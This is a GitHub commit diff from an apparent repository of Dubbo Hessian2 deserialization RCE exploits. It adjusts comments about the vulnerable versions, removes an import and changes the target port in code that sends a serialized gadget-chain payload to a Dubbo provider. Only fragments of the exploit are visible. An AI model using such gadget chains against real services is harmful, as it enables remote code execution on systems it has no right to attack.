File tree Expand file tree Collapse file tree 3 files changed +2
-10
lines changed
dubbo/src/main/java/com/threedr3am/bug/dubbo Expand file tree Collapse file tree 3 files changed +2
-10
lines changed Original file line number Diff line number Diff line change 2121/**
2222 * dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2323 *
24- * Spring和Spring boot环境下都能打
25- *
2624 * <dependency>
2725 * <groupId>com.caucho</groupId>
2826 * <artifactId>quercus</artifactId>
Original file line number Diff line number Diff line change 2020/**
2121 * dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2222 *
23- * Spring和Spring boot环境下都能打
24- *
25- *
2623 * <dependency>
2724 * <groupId>com.rometools</groupId>
2825 * <artifactId>rome</artifactId>
Original file line number Diff line number Diff line change 1313import javax .naming .Context ;
1414import javax .naming .Reference ;
1515import org .apache .dubbo .common .io .Bytes ;
16- import org .apache .dubbo .common .serialize .Cleanable ;
1716import org .apache .xbean .naming .context .ContextUtil .ReadOnlyBinding ;
1817import org .apache .xbean .naming .context .WritableContext ;
1918
2019/**
21- * dubbo 默认配置,即hessian2反序列化,都可RCE
22- *
23- * 需要dubbo环境版本<=2.6.3
20+ * dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
2421 *
2522 * <dependency>
2623 * <groupId>org.apache.xbean</groupId>
@@ -80,7 +77,7 @@ public static void main(String[] args) throws Exception {
8077 byte [] bytes = byteArrayOutputStream .toByteArray ();
8178
8279 //todo 此处填写被攻击的dubbo服务提供者地址和端口
83- Socket socket = new Socket ("127.0.0.1" , 20881 );
80+ Socket socket = new Socket ("127.0.0.1" , 20880 );
8481 OutputStream outputStream = socket .getOutputStream ();
8582 outputStream .write (bytes );
8683 outputStream .flush ();
You can’t perform that action at this time.
0 commit comments